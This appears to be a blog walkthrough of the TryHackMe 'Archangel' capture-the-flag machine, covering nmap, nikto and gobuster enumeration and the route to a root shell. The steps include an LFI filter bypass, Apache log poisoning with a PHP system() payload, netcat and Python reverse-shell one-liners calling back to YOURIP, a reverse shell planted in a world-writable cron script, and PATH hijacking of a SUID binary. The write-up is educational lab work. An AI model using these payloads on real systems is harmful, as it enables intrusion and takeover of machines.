Skip to main content

Tryhackme

Archangel

Thanks TryHackMe and Archangel for this cool machine, I really enjoyed it! You can find it here. If you are looking for a quick write-up you may look somewhere else, I try to add more explanations since this machine is flagged as easy. I try to keep my explanations short and easy with links to more thorough explanations.

First step

Exporting our target IP to an environment variable:

export IP=targetip

It can be accessed by entering $IP in the terminal. If you use multiple terminals, you have to add it to each terminal. I suggest you use terminator with the broadcast function.

Enumeration

Nmap

First scan with nmap

nmap -p- -v -oN nmap/ports $IP

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

We scan all ports without any scripts or service detection. You could do this in most cases, there is nothing wrong with it. I prefer this way.

options explanation
-p- scans all the ports, if you do not specify this, nmap only scans the first 1000
-oN writes the results to a file
-v verbose output, I like to see my scan moving

Second scan with nmap:

nmap -p 22,80 -v -sC -sV -A -oN nmap/init $IP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9f1d2c9d6ca40e4640506fedcf1cf38c (RSA)
|   256 637327c76104256a08707a36b2f2840d (ECDSA)
|_  256 b64ed29c3785d67653e8c4e0481cae6c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

options explanation
-p 22,80 This time we define the ports, do not add a space between you ports
-sC runs default scripts against the ports
-A enables other detection methods like OS detection
-sV service detection

Nikto

Since we have a webpage on 80, we also do a scan with nikto, but there are only two things that seem interesting to me for now.

nikto -h $IP

+ /pages/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

Gobuster

gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x css,js,html,xml,php,sh,cgi,py,txt 

/.php                 (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 19188]
/images               (Status: 301) [Size: 315] [--> http://10.10.211.150/images/]
/.html                (Status: 403) [Size: 278]
/pages                (Status: 301) [Size: 314] [--> http://10.10.211.150/pages/]
/flags                (Status: 301) [Size: 314] [--> http://10.10.211.150/flags/]
/layout               (Status: 301) [Size: 315] [--> http://10.10.211.150/layout/]
/licence.txt          (Status: 200) [Size: 5014]
options explanation
-u URL or IP
-w the wordlist to use
-x extensions to look for, so basically it takes a word e.g. "flag" and appends each of the mentioned extensions to it

Gobuster is still running but we will check out the site manually with the results we have until now.

Manual enumeration

The first task ask us to find a different hostname, when opening the page we have some contact information including a mail. There we have our hostname.

Instead of accessing the server directly by IP we can try do access this site if it exists as a virtual host(More about virtual hosts) . To do this we add the host name to our local hosts files like so:

sudo nano /etc/hosts

123.456.789.987 somehost.thm

As far as I know this can be done in burpsuite too (via proxy), but I am a burpnoob.

We now enter the hostname into our browser. Nice we found our first flag.

Back to gobuster:

gobuster dir -u http://somehost.thm -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x css,js,html,xml,php,sh,cgi,py,sh,txt


/test.php             (Status: 200) [Size: 286]
/robots.txt           (Status: 200) [Size: 34]

somehost.thm/test.php looks promising.

LFI (Local File Inclusion)

Read more about LFI here:

WSTG - v4.1 | OWASP Foundation
v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.
http://somehost.thm/somepage.php?view=/var/www/html/development_testing/mrrobot.php

In this URL we have a $_GET parameter to retrieve mrrobot.php. I tried some things, manipulating the URL etc and who could guess...there are some filters in place.
adding some classic ../../../ returns:

We need to somehow retrieve mrrobot.php and take a look at the code to see how we could possibly bypass the filters. So I looked for ways to bypass LFI filters and found this:

How to Beat LFI Restrictions with Advanced Techniques
One of the most common web application vulnerabilities is LFI, which allows unauthorized access to sensitive files on the server. Such a common weakness is often safeguarded against, and low-hanging fruit can be defended quite easily. But there are always creative ways to get around these defenses,…

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File Inclusion/README.md

So we have our URL:

http://somehost.thm/somepage.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php

And we get back a base64 string! Lets decrypt it and hope that it worked!

To decode this string you can either use the terminal or cyberchef.

To decode the string in the terminal:

echo 'stringhere. watch for spaces at the beginning and the end' | base64 -d
options explanation
'|' pipe takes the output of the previous command and feeds it into the following
-d for decode (default is encode)

The decoded string:

<?php echo 'Control is an illusion'; ?>

That does not help right now, the next step was so obvious that I missed it...for quite some time.

We just do the same for "somepage.php".

http://somehost.thm/somepage.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/somepage.php

This returns a relatively big string, a quick base64 -d later:

!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	    //FLAG: thm{LOOK_WHAT_WE_HAVE_HERE}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    if(isset($_GET["view"])){
	    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>

</html>

Nice! A flag and a filter!

There are two checks happening in this filter:

(!containsStr($_GET['view'], '../..')

if ../.. is NOT(!) in the view parameter AND (&&)

containsStr($_GET['view'], '/var/www/html/development_testing')

'/var/www/html/development_testing' is in the view parameter.

After a lot of testing, I found this.

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.

File Inclusion/Path traversal - HackTricks
http://somehost.thm/somepage.php?view=/var/www/html/development_testing//..//..//..//..//etc/passwd

Some testing led me to this:

http://somehost.thm/somepage.php?view=/var/www/html/development_testing//..//..//..//..//var/log/apache2/access.log

One step closer, but what could we do with this?
We some entries from our previous actions on this page. We could try poisoning those Apache logs.

Apache Log Poisoning through LFI - Hacking Articles
In this article, we are demonstrating how a PHP file with include function can lead to LFI log injection attack in any web server. Please

How does this work? The log is displayed as a webpage, so if it would contain code, that code would be executed, meaning we need to get code inside this log. This can be done via a malicious user-agent, you should see your basic user-agent already from previous requests. Since we have all this inside a PHP page we could actually execute shell because php conveniently has functions for it.

Now we will manufacture and administer our poison...

Poison:

<?php system('whoami'); ?>

Poison administration:

curl -A "LFI2RCE*** <?php system('whoami'); ?> ***LFI2RCE" somehost.thm

This is the way we get our malicious user-agent into the log. We just send an http request with curl to the site. -A sets the useragent.
I added 'LFI2RCE***' to make it more visible inside the logs, its not necessary by any means.
Now refresh your browser with the URL to the access.log, you should see the results of your user-agent at the bottom:

"LFI2RCE*** www-data ***LFI2RCE" 

We have code execution!

Reverse Shell

Because I love python, python is the first thing I try. Always! Python 3 is available but getting the http request from the terminal with quotes and double quotes is to annoying. Just an example how I tested for python:

curl -A "LFI2RCE*** <?php system('python3 --version'); ?> ***LFI2RCE" mafialive.thm

If it returns a version, you will see it in the log. Usually if the command throws an error it can not be seen in the log.

Netcat then:

curl -A "LFI2RCE*** <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOURIP YOURPORT >/tmp/f'); ?> ***LFI2RCE"

This is a very helpful site to create your reverse shells:

Online - Reverse Shell Generator
Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.

Dont forget to set up you listener:

nc -lnvp YOURPORT
options explanation
-l listen for incoming connections
-n don't do DNS resolution on incoming IP addresses, which makes the connection faster
-v verbose mode
-p specify the port number to listen on

Refreshing the access.log page, and we are in!

Stabilizing the shell

How to stabilize simple reverse shell to a fully interactive terminal
How to stabilize a simple reverse shell to a fully interactive terminal
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press ctrl+z (rev shell to background)

stty raw -echo; fg
export TERM=xterm

Hit Enter

Getting flags and enumerating

Lets have a look in the home folder for users...only archangel. User flag incoming.

drwxr-xr-x 2 archangel archangel 4.0K Nov 18  2020 myfiles
drwxrwx--- 2 archangel archangel 4.0K Nov 19  2020 secret
-rw-r--r-- 1 archangel archangel   26 Nov 19  2020 user.txt

Other than user.txt, nothing there...believe me ;)

Time for some peas!

Release Release refs/heads/master 20230305 · carlospolop/PEASS-ng
Privilege Escalation Awesome Scripts SUITE (with colors) - Release Release refs/heads/master 20230305 · carlospolop/PEASS-ng

I suggest reading a bit about linpeas, there is a video to

PEASS-ng/linPEAS at master · carlospolop/PEASS-ng
Privilege Escalation Awesome Scripts SUITE (with colors) - PEASS-ng/linPEAS at master · carlospolop/PEASS-ng

We change our directory to /dev/shm

Host a python http server on our machine, in the directory that contains linpeas:

python3 -m http.server 1337

On our reverse shell:

wget http://10.11.2.191:1337/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

wget downloads the script from your local webserver
chmod +x makes a file executable

A first quick scroll for some orange color yields:

*/1 *   * * *   archangel /opt/helloworld.sh

a cron job, lets check out that script! (cron jobs are scheduled tasks that are executed automatically at a specific time or interval.)

First Privilege Escalation

The contents of the helloworld.sh in /opt:

#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt

But most important:

-rwxrwxrwx  1 archangel archangel   66 Nov 20  2020 helloworld.sh

www-data (our current user) can edit the script and it is executed every minute by the user archangel. Free shell!

We set up a new listener on our machine, and this time we use python!

Lets add this line to the script and wait.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOURIP",YOURPOR));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

It should take not more than a minute to get your reverse shell.

Stabilizing the shell the same way as before.

Enumerating as archangel

No time to lose, we run linpeas again, it should still be in /dev/shm/

This turn is a bit harder, I admit that I found it manually because there was a certain folder we discovered earlier ass www-data that we could not access.

cd /home/archangel/secret/

Here we find a SUID binary called 'backup', you can check this by typing:

-rwsr-xr-x 1 root root 16904 Nov 18 16:40 /home/archangel/secret/backup

file backup

backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped

This binary is owned by root and we can execute it with the permissions of the owner...no good...for the server.

Read more about SUID binaries here:

Linux Privilege Escalation using SUID Binaries - Hacking Articles
In our previous article we have discussed “Privilege Escalation in Linux using etc/passwd file” and today we will learn “Privilege Escalation in Linux using SUID

The next method is very basic, but for a quick assessment it is nice.

strings backup

The strings command returns all the strings it finds in a file.

There is one line which is useful for our doings:

cp /home/user/archangel/myfiles/* /opt/backupfiles

What we have here is the usage of a relative path for a command. If a command is entered in the terminal, the system looks through the PATH variable for the first occurence of that command.
The cp command can be found in the /bin directory.
How can we leverege this? By creating our own cp command and adding it to PATH, but we add it at the beginning, so if the the system is looking for the command to execute it, the first occurence will be our cp command and not the on in /bin.

If you use the absolute path /bin/cp /home/user/... the command from that specific path will be used and not the first occurence in an other place.

So lets forge our own cp command.

cd /dev/shm

mkdir bettercopy

cd bettercopy

We create a file, write bash -p to it and make it executable. 'bash -p' invokes a bash terminal with priviledged permissions

echo 'bash -p' > cp
chmod +x ./cp

Now we export our command, with its path, to the front of the PATH environment variable.(export PATH=":$PATH:/dev/shm/bettercopy/" would add it to the end, thus it would not be the first occurence)

export PATH="/dev/shm/bettercopy/:$PATH"
/home/archangel/secret/backup

whoami
root

Now for the last flag:

cat /root/root.txt

There we are, another machine done!